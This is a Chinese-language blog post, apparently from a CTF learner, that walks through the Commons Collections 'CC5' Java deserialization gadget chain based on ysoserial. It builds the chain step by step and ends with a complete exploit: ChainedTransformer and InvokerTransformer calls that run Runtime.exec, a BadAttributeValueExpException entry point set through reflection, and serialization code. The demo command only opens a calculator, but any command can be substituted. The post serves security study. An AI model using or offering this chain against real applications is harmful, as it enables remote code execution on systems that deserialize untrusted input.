0x01 写在前面
周末打SUCTF成功爆零了😭我咋这么菜
其他的不多说了,来看CC5,这条链子非常简单(
0x02 CC5链挖掘
ysoserial官方Gadget chain
调用了BadAttributeValueExpException.readObject()和TiedMapEntry.toString(),后面LazyMap.get()的部分也是老生常谈了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
LazyMap
推荐自己重新写过,另外发现commons.collections4中LazyMap.decorate()被移除了,不过用LazyMap.lazyMap()效果是一样的
1 2 3 4 5 6 7 8 9 10 11
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
HashMap hashMap = new HashMap(); Map lazyMap = LazyMap.lazyMap(hashMap, chainedTransformer); lazyMap.get(1);
|
TiedMapEntry
跟着链子我们来看TiedMapEntry.toString()及其相关方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public TiedMapEntry(Map<K, V> map, K key) { this.map = map; this.key = key; }
public V getValue() { return (V)this.map.get(this.key); }
......
public String toString() { return this.getKey() + "=" + this.getValue(); }
|
可以看到toString()调用了getValue(),而在getValue()中又this.map.get(this.key),这里就拿到了我们想要的get()方法,构造函数也比较简单可以直接赋,将我们的exp升级一下
1 2 3 4 5 6 7 8 9 10 11 12 13
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
HashMap hashMap = new HashMap(); Map lazyMap = LazyMap.lazyMap(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry<>(lazyMap,1); tiedMapEntry.toString();
|
BadAttributeValueExpException
toString()调用的地方也不是一般多,同样直接来看BadAttributeValueExpException类中调用toString()的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
val = valObj.toString()完成了调用,既然是在readObject()内部调用,且该类继承了Serializable接口,那么这就是我们要找的入口类了,因为是public作用域,直接new即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
HashMap hashMap = new HashMap(); Map lazyMap = LazyMap.lazyMap(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry<>(lazyMap,1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
|
上面的demo会直接弹计算器,这是因为在构造函数时,val不为空会直接触发toString()
1 2 3
| public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
|
同样的,先顺便赋值再反射修改即可
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
HashMap hashMap = new HashMap(); Map lazyMap = LazyMap.lazyMap(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry<>(lazyMap,1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class c = badAttributeValueExpException.getClass(); Field valField = c.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException); unserialize("ser.bin");
|
0x03 小结
CC链的版图又扩大一块

参考
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java https://drun1baby.top/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8707-CC5%E9%93%BE/